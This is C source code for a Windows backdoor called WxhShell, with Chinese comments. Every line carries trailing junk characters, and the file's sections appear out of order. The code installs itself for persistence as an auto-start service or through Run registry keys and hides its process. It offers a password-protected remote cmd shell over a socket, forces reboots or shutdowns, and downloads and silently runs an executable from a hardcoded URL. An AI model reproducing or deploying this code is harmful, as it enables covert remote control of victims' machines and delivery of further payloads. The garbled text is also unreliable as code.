    if(Boot(SHUTDOWN)) *l =f=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \f4rA?+f  
    else { 4bL *7bA  
    closesocket(wsh); *\'t$se+  
    ExitThread(0); T$u'+* Xx  
    } xf;>o$oN0P  
    break; UJqh~s  
    } IowXVdm@6  
  // 获取shell +=9iq3<yfS  
  case 's': { T<Xw[PEnP  
    CmdShell(wsh); 1K/ :  
    closesocket(wsh); 1\@PrO35J  
    ExitThread(0); F!hjtIkPj  
    break; fTR6]i;  
  } 6:%lxG  
  // 退出 )ddJ\:  
  case 'x': { R$l- 7YSt  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); bFN/{^SB  
    CloseIt(wsh); n7;jME/!  
    break; V0>[bzI  
    } up['<Kt+a  
  // 离开 L$O\fhO?  
  case 'q': { ^ICSh8C  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); h&L-G j  
    closesocket(wsh); )_C>hWvo_  
    WSACleanup(); 8k:^( kByF  
    exit(1); !$1qnsz  
    break; <h9nt4F  
        } ba G_7>Q9H  
  } .up[wt gN  
  } U'F}k0h?\'  
Ek `bPQ5  
  // 提示信息 xva e^gr  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .^=I&X/P  
} en{p<]H  
  } 0|-}>>qb\  
@a]cI  
  return; 3t+{~{Dj  
} M/.M~/ ~  
v4Ag~Evcx  
// shell模块句柄 {:"<E?+  
int CmdShell(SOCKET sock) vzfMME17  
{ 25`W"x_  
STARTUPINFO si; \i,H1a  
ZeroMemory(&si,sizeof(si)); GFPrK9T  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; q['D?)sy  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {9Qc\Ij  
PROCESS_INFORMATION ProcessInfo; -6-rX D  
char cmdline[]="cmd"; Ww8U{f  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )?radg  
  return 0; `_)9eGQ  
} U}X'RCM  
JXkx!X_{  
// 自身启动模式 %fS1g Sf h  
int StartFromService(void) <Ez@cZ"  
{ 0$`pYW]  
typedef struct ] +%`WCr9  
{ z6M5 '$\y  
  DWORD ExitStatus; ^,=}'H]  
  DWORD PebBaseAddress; ~28{BY  
  DWORD AffinityMask; [>GblL  
  DWORD BasePriority; ]aMDx>OE  
  ULONG UniqueProcessId; Jgr;'U$  
  ULONG InheritedFromUniqueProcessId; f eB ?  
}   PROCESS_BASIC_INFORMATION; %KO8 i)n  
5s^vC2$)  
PROCNTQSIP NtQueryInformationProcess; Wx3DWY;  
r]xN&Ne5Q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _z%\53h  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; V+1c<LwT  
r0k :RJP  
  HANDLE             hProcess; x1wD`r  
  PROCESS_BASIC_INFORMATION pbi; H(n fHp.3  
S"Vr+x?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); UGM:'xa<T  
  if(NULL == hInst ) return 0; 9=iMP~?xF  
d!<>Fh^6,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); J|U~W kW  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); oq|o"n)~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \2El>>  
rC|nE=i  
  if (!NtQueryInformationProcess) return 0; Ag:/iB ]  
rusM]Z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); E%E`\mFD  
  if(!hProcess) return 0; "&D0Sd@[?  
|wb_im  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; H&*&n}vh5y  
7\$}|b[9  
  CloseHandle(hProcess); ,ynN801\m  
lgVT~v{U`n  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }Tm+gJA  
if(hProcess==NULL) return 0; +K'YVB U}  
r`FTiPD.C  
HMODULE hMod; ?$A)lWk(  
char procName[255]; S`mB1(h  
unsigned long cbNeeded; 7`L]aRS[  
d <ES  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ) xV>Va8)  
[8tpU&J  
  CloseHandle(hProcess); >(n /  
ho^c#>81  
if(strstr(procName,"services")) return 1; // 以服务启动 `r=^{Y  
4?(=?0/[  
  return 0; // 注册表启动 (K6vXq.;\\  
} A6_ER&9$>N  
N!?~Dgw  
// 主模块 &~.|9P/45  
int StartWxhshell(LPSTR lpCmdLine) E 8W*^^z(  
{ SLkgIb~'X  
  SOCKET wsl; M^l%*QF[,q  
BOOL val=TRUE; ueW/i  
  int port=0; e]!`94f  
  struct sockaddr_in door; s]=XAm"4  
ixM#|Yq  
  if(wscfg.ws_autoins) Install(); gP8}d*W%b  
L28wT)D-  
port=atoi(lpCmdLine); Qt'3v"S>)  
Tp~Qg{%Og  
if(port<=0) port=wscfg.ws_port; [=. iJ5,{2  
1GR|$E  
  WSADATA data; &?@U_emLi  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; fRk'\jzT  
%T<c8w}dP  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   H<^3H  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); P&c O2  
  door.sin_family = AF_INET; ]x& R=)P  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \mb@-kM)  
  door.sin_port = htons(port); ;/23CFYM  
j}@LiH'Q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { qa: muW  
closesocket(wsl); Ygfy;G%  
return 1; rwwyYIlEg  
} 'R$/Qt;uA  
5A %TpJ  
  if(listen(wsl,2) == INVALID_SOCKET) { k+@ :+ RL  
closesocket(wsl); g:c?%J  
return 1; 9ygNJX'~  
} /NPx9cLW^  
  Wxhshell(wsl); fWg 3gRI  
  WSACleanup(); 7S= ]@*  
[ryII hQ  
return 0; Q}lY1LT`  
%AT/g&M&1#  
} VD,g3B p  
-yIx:*KI  
// 以NT服务方式启动 n ]l3 )u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7we='L&R  
{ /8dRql-Ne  
DWORD   status = 0; M>BVnB_,-  
  DWORD   specificError = 0xfffffff; ms&5Bq+9  
KxJDAP  
  serviceStatus.dwServiceType     = SERVICE_WIN32; LsMq&a-j2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; WT 5 2  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; tC+1 1M  
  serviceStatus.dwWin32ExitCode     = 0; rP(;^8l"  
  serviceStatus.dwServiceSpecificExitCode = 0; +r"fv*g"  
  serviceStatus.dwCheckPoint       = 0; lYm00v6y  
  serviceStatus.dwWaitHint       = 0; 0|\A5 eG  
nGJ+.z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); c; 1 f$$>b  
  if (hServiceStatusHandle==0) return; 'vZWk eo  
|F =.NY  
status = GetLastError(); 0eA |Uq~  
  if (status!=NO_ERROR) Fv^>^txh  
{ qssK0!-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^|h.B$_F,  
    serviceStatus.dwCheckPoint       = 0; uqBVKE  
    serviceStatus.dwWaitHint       = 0; T%PUV \LV  
    serviceStatus.dwWin32ExitCode     = status; HXB & 6  
    serviceStatus.dwServiceSpecificExitCode = specificError; KpQ@cc  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); T}'*Gry  
    return; d<cQYI4V  
  } |mw3v>  
oBPm^ob4  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; w0.;86<MV  
  serviceStatus.dwCheckPoint       = 0; y?*Y=,"  
  serviceStatus.dwWaitHint       = 0; '2p,0Bk9i  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *'@T+$3s  
} ? a*yK8S  
@C~gU@F  
// 处理NT服务事件,比如:启动、停止 9~r8$,e  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ``h* A  
{ \gir  
switch(fdwControl) Jjx1`S*i  
{ Wjd_|Kui  
case SERVICE_CONTROL_STOP: {|q(4(f"Iu  
  serviceStatus.dwWin32ExitCode = 0; l n09_Lr  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; S; !7 /z  
  serviceStatus.dwCheckPoint   = 0; 6I5LZ^/G9  
  serviceStatus.dwWaitHint     = 0; NdI~1kemr  
  { %wq;<'W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `4|:8@,3{  
  } ^ -lWv  
  return; E@@XWU21;N  
case SERVICE_CONTROL_PAUSE: U]E~7C  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `y&2Bf  
  break; T' )l  
case SERVICE_CONTROL_CONTINUE: s%zdP  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \-Q6z 8  
  break; NF*Z<$'%  
case SERVICE_CONTROL_INTERROGATE: .Ax]SNZ+:A  
  break; <q4 <3A  
}; }K 2fwE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |s !7U  
} W_]onq 6  
[Al} GM  
// 标准应用程序主函数 Ch&2{ ng  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?ieC>cr  
{ bqZ5GKUo  
s";9G^:  
// 获取操作系统版本 Xf|I=XK  
OsIsNt=GetOsVer(); N*}g+ IS  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Y c>.P  
=|3*Y0  
  // 从命令行安装 T$Rf  
  if(strpbrk(lpCmdLine,"iI")) Install();  }}d,xI  
WSx0o}  
  // 下载执行文件 { =IAS}  
if(wscfg.ws_downexe) { ekSSqj9";  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) p}a0z?  
  WinExec(wscfg.ws_filenam,SW_HIDE); v==/tr)  
} CDG,l7  
N MH'4R  
if(!OsIsNt) { CGZ3-OW@E  
// 如果时win9x,隐藏进程并且设置为注册表启动 z dUSmb  
HideProc(); p,S/-ph  
StartWxhshell(lpCmdLine); U;Q?Rh- W  
} Z2I2 [pA  
else qZh}gu*>  
  if(StartFromService()) PCiwQ4~  
  // 以服务方式启动 4Mv]z^  
  StartServiceCtrlDispatcher(DispatchTable); rIAbr5CG  
else ks(BS k4  
  // 普通方式启动 J4m2|HK  
  StartWxhshell(lpCmdLine); X:OUu;  
N?mQ50o~C  
return 0; .arWbTR)~U  
} sK|+&BC  
.vtV2lq  
Uf\U~wM<  
$x q$  
=========================================== 9at_F'> R  
I73=PfS:m  
2j-^F  
V\r2=ok@y  
bG!/%,s  
:Mnl1;oh  
" d`J~w/] `\  
5P![fX|5  
#include <stdio.h> Qis/'9a  
#include <string.h> 1c*XmMB  
#include <windows.h> N|  
#include <winsock2.h> @*5(KIeeC>  
#include <winsvc.h> /NFm6AA]  
#include <urlmon.h> !,JV<( 7k  
Xny{8Oo<1?  
#pragma comment (lib, "Ws2_32.lib") '>#8 F.  
#pragma comment (lib, "urlmon.lib") ,^&amWey  
->a |  
#define MAX_USER   100 // 最大客户端连接数 Ox&]{  
#define BUF_SOCK   200 // sock buffer qPgny/(  
#define KEY_BUFF   255 // 输入 buffer {*K7P>&  
*w23(f  
#define REBOOT     0   // 重启 X~ g9TUv8  
#define SHUTDOWN   1   // 关机 %"BJW  
QJtO~~-  
#define DEF_PORT   5000 // 监听端口 %@Nu{?I  
<4%vl+qW  
#define REG_LEN     16   // 注册表键长度 _+}#  
#define SVC_LEN     80   // NT服务名长度 Q?{^8?7  
&O^t]7  
// 从dll定义API iO{LsG*5Z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); } o@Dsx5  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &[y+WrGG  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _.^`DP >  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); fsUZG6  
w'a3=_nW  
// wxhshell配置信息 UKp^TW1^  
struct WSCFG { 4* V[^mht  
  int ws_port;         // 监听端口 \JIyJ8FleC  
  char ws_passstr[REG_LEN]; // 口令 U'0e<IcY  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]q3.^F  
  char ws_regname[REG_LEN]; // 注册表键名 ^W ,~   
  char ws_svcname[REG_LEN]; // 服务名 @ 3,:G$,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  Jju^4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &/-}`hIAT  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Z90]I<a~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Nd%j0lj  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" j},3@TFh  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9 f= ~E8P  
ygYy [IZ  
}; J)P7QTC  
QeG3X+  
// default Wxhshell configuration ,d$D0w  
struct WSCFG wscfg={DEF_PORT, #.@-ng6C  
    "xuhuanlingzhe", \U.js-  
    1, M&` b\la  
    "Wxhshell", aBWA hn  
    "Wxhshell", 4XIc|a Aa  
            "WxhShell Service", <j:@ iP  
    "Wrsky Windows CmdShell Service", [Lq9lw&   
    "Please Input Your Password: ", eR:C?v  
  1, (0^ZZe`# j  
  "http://www.wrsky.com/wxhshell.exe", p;.M .  
  "Wxhshell.exe" :?SD#Vvrh.  
    }; !TLJk]7uC  
)F,z pGG  
// 消息定义模块 %`}nP3  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; U[W &D%'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; dK>sHUu  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; LyRW\\z2  
char *msg_ws_ext="\n\rExit."; I*H($ a  
char *msg_ws_end="\n\rQuit."; QVo>Uit   
char *msg_ws_boot="\n\rReboot..."; 3a}53? $  
char *msg_ws_poff="\n\rShutdown..."; CI^s~M >  
char *msg_ws_down="\n\rSave to "; >Et~h65d5  
f-Zi!AGh>  
char *msg_ws_err="\n\rErr!"; h}4yz96WD  
char *msg_ws_ok="\n\rOK!"; 1C(sBU"  
+P%k@w#<Z  
char ExeFile[MAX_PATH]; !TO+[g!  
int nUser = 0; fw)Q1"|  
HANDLE handles[MAX_USER]; D 3Tqk^5  
int OsIsNt; rG3?Z^&R+  
moL3GV%]Gq  
SERVICE_STATUS       serviceStatus; pKaU [1x?%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; USZBk0$  
OxN[w|2\4  
// 函数声明 2=uwGIF  
int Install(void); 0G`@^`  
int Uninstall(void); /h9v'Y}c  
int DownloadFile(char *sURL, SOCKET wsh); @W-0ybv  
int Boot(int flag); C%H?vrR  
void HideProc(void); afE)yu`  
int GetOsVer(void); ]Hg6Mz>Mj  
int Wxhshell(SOCKET wsl); 8&yI1XM|  
void TalkWithClient(void *cs); UT0}Ce>e  
int CmdShell(SOCKET sock); GI6]Ecc  
int StartFromService(void); B[9y<FB+  
int StartWxhshell(LPSTR lpCmdLine); 5&qBG@Hw]  
K%1`LT5:~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ehTv@2b  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); D!&]jkUN  
F ESl#.}  
// 数据结构和表定义 Uo;a$sR  
SERVICE_TABLE_ENTRY DispatchTable[] = r+;k(HMY}[  
{ h.q9p!  
{wscfg.ws_svcname, NTServiceMain}, Ko0?c.l  
{NULL, NULL} p}8?#5`/w  
}; 3Uej]}c  
<Yg6=e  
// 自我安装 VxtX%McK  
int Install(void) D>0(*O  
{ #HZ W57"  
  char svExeFile[MAX_PATH]; e8S4=W  
  HKEY key; Up0kTL  
  strcpy(svExeFile,ExeFile); i6<uj  
MV]`[^xQ5  
// 如果是win9x系统,修改注册表设为自启动 C-XJe~  
if(!OsIsNt) { 6q^\pJY%&7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hbEqb{#}@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #4<=Ira5  
  RegCloseKey(key); g'cVsO)S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { aW9\h_$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xjD."q  
  RegCloseKey(key); ~O|~M_Z  
  return 0; kPoz&e_@  
    } I51I(QF=  
  } ~F%sO'4!  
} q1v7(`O  
else { 29cx(  
Gn<0Fy2  
// 如果是NT以上系统,安装为系统服务 5p6/dlN-a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); H4W!Md  
if (schSCManager!=0) '2 Y8  
{ 7M8cF>o  
  SC_HANDLE schService = CreateService NY|hE@{2.  
  ( cbl>:ev1h  
  schSCManager, _D$1CaAYo  
  wscfg.ws_svcname, +;4;~>Y  
  wscfg.ws_svcdisp, QAAuFZs  
  SERVICE_ALL_ACCESS, e+)y6Q=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , hu.p;A3p;  
  SERVICE_AUTO_START, g#`}HuPoE  
  SERVICE_ERROR_NORMAL, e4|a^lS;  
  svExeFile, c-_1tSh}  
  NULL, P+BGCc%);B  
  NULL, Kp^"<%RT  
  NULL, 5h|aX  
  NULL, ix$ ^1(  
  NULL 'T$Cw\F&  
  ); 6TTu[*0NT  
  if (schService!=0) [XttT  
  { %!eRR  
  CloseServiceHandle(schService); G|RBwl  
  CloseServiceHandle(schSCManager); =CO) Q2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); B!&y>Z^$  
  strcat(svExeFile,wscfg.ws_svcname); K1o>>388G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { r+h%a~A#>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Xu E' %;:  
  RegCloseKey(key); g9CedD%40  
  return 0;  ? 8/r=  
    } zliMG=6  
  } )Ly ~\*  
  CloseServiceHandle(schSCManager); u80C>sQ  
} qM+Ai*q  
} w]nt_xj  
#%F-Xsk  
return 1; dm]g:KWg  
} RN|Bk  
u})*6l.  
// 自我卸载 mln4Vl(l2M  
int Uninstall(void) (>E/C^Tc%  
{ #d*0 )w  
  HKEY key; RyU8{-q  
5*+DN U@  
if(!OsIsNt) { q*5L",  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7VG*Wu  
  RegDeleteValue(key,wscfg.ws_regname); -agB ]j  
  RegCloseKey(key); _>n)HG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yf!7 Q>_G^  
  RegDeleteValue(key,wscfg.ws_regname); A FBH(ms't  
  RegCloseKey(key); P3-O)m]jv  
  return 0; o.w/ ?  
  } SP/b 4  
} y10W\beJ  
} [PB73q8  
else { h  Ypj  
k=mLcP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); L)&^Pu  
if (schSCManager!=0) Z,/^lg c,  
{ l1|*(%p?X  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); q'a]DJ`  
  if (schService!=0) U;TS7A3  
  { |vm-(HY!  
  if(DeleteService(schService)!=0) { jSM`bE+"  
  CloseServiceHandle(schService); OI*ltba?  
  CloseServiceHandle(schSCManager); Ly3!0P.<  
  return 0; d}tmZ*q  
  } QlV(D<  
  CloseServiceHandle(schService); bCr W'}:de  
  } )P?Fni}  
  CloseServiceHandle(schSCManager); QV.>Cy  
} $y,KDR7^  
} <bo^uw  
n#Dy YVb  
return 1; 4M>pHz4  
} X lItg\R  
_>]/.w2=  
// 从指定url下载文件 Z.!<YfA)  
int DownloadFile(char *sURL, SOCKET wsh) 7w" !"W#  
{ vea{o 35!  
  HRESULT hr; lR7;{zlSf'  
char seps[]= "/"; Y:\]d1C  
char *token; O`1!&XT{x  
char *file; 5._QI/d)'J  
char myURL[MAX_PATH]; R+0gn/a[G  
char myFILE[MAX_PATH]; P^=B6>e  
0^Vw^]w  
strcpy(myURL,sURL); $[ S 33Q  
  token=strtok(myURL,seps); tmoCy0qWz  
  while(token!=NULL) b;d7mh 4  
  { 7Hv 6>z#m  
    file=token; 2bLc57j{`9  
  token=strtok(NULL,seps); `7y3C\zyQ  
  } ;di .U,  
Ws1|idAT  
GetCurrentDirectory(MAX_PATH,myFILE); t( V 2  
strcat(myFILE, "\\"); %'h:G Bkd  
strcat(myFILE, file); PX_9i@ZG  
  send(wsh,myFILE,strlen(myFILE),0); T^vo9~N*  
send(wsh,"...",3,0); E;4B!"Q8  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); F.x7/;  
  if(hr==S_OK) Rf8ZH  
return 0; IKnf  
else X_nbNql  
return 1; Oi& 9FS  
Sin)]zG~0  
} UMBeY[ ?  
G~.VW48{n  
// 系统电源模块 x=a#|]ngG  
int Boot(int flag) y7CXE6Y  
{ l{.PyU5)  
  HANDLE hToken; ^Ss <<  
  TOKEN_PRIVILEGES tkp; PPrvVGP   
ewN|">WXQ  
  if(OsIsNt) { 3I)oqS@q'  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); bv(+$YR  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  0%,W5w  
    tkp.PrivilegeCount = 1; YfZ5Q}*1O+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ## vP(M$  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .pe.K3G &  
if(flag==REBOOT) { W{!5}Sh  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) J Q*~le*  
  return 0; !Sy9v  
} ".Q]FE@>  
else { RrrlfFms  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0Bp0ScE|FA  
  return 0; 7Dl^5q.|  
} ' Kkp!eZQ~  
  } I]5){Q" S  
  else { h(}#s1Fzq  
if(flag==REBOOT) { <_pLmYI  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @XL49D12c  
  return 0; zA$ Y@f  
} Y>FLc* h  
else { :.l\lj0Yf  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) c[X6!_  
  return 0; ] s 2ec  
} DwFvM0O6\  
} )>b1%x} =  
5N6R%2,A  
return 1; jt323hHth  
} ^-s7>F`jx  
AVU'rsXA  
// win9x进程隐藏模块 rk&oKd_&i  
void HideProc(void) pX>wMc+  
{ Ekrpg^3qp"  
ak3WER|f#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1 YtY=  
  if ( hKernel != NULL ) -V@ST9`  
  { ^i WGGnGS  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); bzZdj6>kX  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @q]!C5  
    FreeLibrary(hKernel); 'cQ`jWZQ  
  } K^GvU0\  
iH]0 YT.E  
return; +JD^5J,-NJ  
} >2}*L"YC  
_f "I%QTL  
// 获取操作系统版本 I 6<LKI/  
int GetOsVer(void) hZUS#75M5  
{ jL4"FTcE]3  
  OSVERSIONINFO winfo; RN1KM  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); hhylsm  
  GetVersionEx(&winfo); =8p[ (<F=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "Ya ;&F.'  
  return 1; rc%*g3ryLG  
  else u|EJ)dT?  
  return 0; E6G;fPd= E  
} M_75bU  
Ud>hDOJ3  
// 客户端句柄模块 hN1 [*cF  
int Wxhshell(SOCKET wsl) n],cs  
{ 4T&Jlu?:  
  SOCKET wsh; p{r{}iYI  
  struct sockaddr_in client; R~TG5^(  
  DWORD myID; ko!aX;K  
^H<VH  
  while(nUser<MAX_USER) A"+t[0$.  
{ 436SIh  
  int nSize=sizeof(client); #vBSg  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); R5uz<  
  if(wsh==INVALID_SOCKET) return 1; [ CU8%%7  
1_}k)(n  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ih:%U  
if(handles[nUser]==0) j}jU.\*v<  
  closesocket(wsh); +'` ^ N  
else {=R vFA  
  nUser++; OQuTM[W  
  } zn*i  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); l`JKQk   
g8"{smP/  
  return 0; *;t_V laZ  
} n1+J{EPH  
)5;|mV  
// 关闭 socket _J3\e%ys  
void CloseIt(SOCKET wsh) W`wT0kP?*]  
{ `wLmGv+V  
closesocket(wsh); q>#P|  
nUser--; D{[i_K  
ExitThread(0); Pc~)4>X<  
} }LZz"b<aw  
1&kf2\S  
// 客户端请求句柄 tE=$#  
void TalkWithClient(void *cs) +#'QP#  
{ Xd~lifF  
2b#> ~  
  SOCKET wsh=(SOCKET)cs; zq#gf  
  char pwd[SVC_LEN]; ooYs0/,{  
  char cmd[KEY_BUFF]; zfml^N  
char chr[1]; gp{P _  
int i,j; mA3yM#  
etP`q:6^c  
  while (nUser < MAX_USER) { FFF7f5F  
$:DhK  
if(wscfg.ws_passstr) { hJ V*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <jVk}gi)Jp  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k1FG$1.  
  //ZeroMemory(pwd,KEY_BUFF); ~BI! l  
      i=0; 3e^'mT  
  while(i<SVC_LEN) { -f(< 2i  
gBd~:ZUa  
  // 设置超时 _NbhWv  
  fd_set FdRead; dFpP_U  
  struct timeval TimeOut; V3\} ]5  
  FD_ZERO(&FdRead); FC8= ru  
  FD_SET(wsh,&FdRead); N sSl|m  
  TimeOut.tv_sec=8; sWLH"'Z  
  TimeOut.tv_usec=0; WOGMt T%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); n 8e}8.Bu  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3Q+THg3~?  
qSL~A-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); KH1/B_.\V  
  pwd=chr[0]; X@B,w_b  
  if(chr[0]==0xd || chr[0]==0xa) { @j4~`~8  
  pwd=0; !r0 z3^*N  
  break; /lvH p  
  } U C9w T  
  i++; HR k^KB  
    } /#?i+z   
\V<deMb=  
  // 如果是非法用户,关闭 socket NslaG  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); v*e=oyx[  
} Hn(L0#Oqy  
}*0*8~Q'5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Yr+ghl/ V  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +wr 5&  
9DmQ  
while(1) { ~E7=c3:"  
r+Y]S-o:  
  ZeroMemory(cmd,KEY_BUFF); 8,(5Q  
!O8vr4=  
      // 自动支持客户端 telnet标准   wsfn>w?!V  
  j=0; q|ZQsFZ  
  while(j<KEY_BUFF) { ^S`c-N  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qUp DmH  
  cmd[j]=chr[0]; = P {]3K  
  if(chr[0]==0xa || chr[0]==0xd) { R:DW>LB  
  cmd[j]=0; j6)@kW9x  
  break; V0 OT_F  
  } ='r4z z  
  j++; utwqP~  
    } 9Fxz9_ i  
NvlG@^&S  
  // 下载文件 Wj. _{  
  if(strstr(cmd,"http://")) { ~x}=lKN  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .:s**UiDR  
  if(DownloadFile(cmd,wsh)) X*C4N F0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); F%QVn .  
  else Ndx  ]5  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %S4pkFR  
  } G@QZmuj&KH  
  else { m)?cXM  
}mw31=2bD  
    switch(cmd[0]) { 3AD^B\<gB  
  tpi63<N  
  // 帮助 "n@=.x  
  case '?': { iPJZ%  
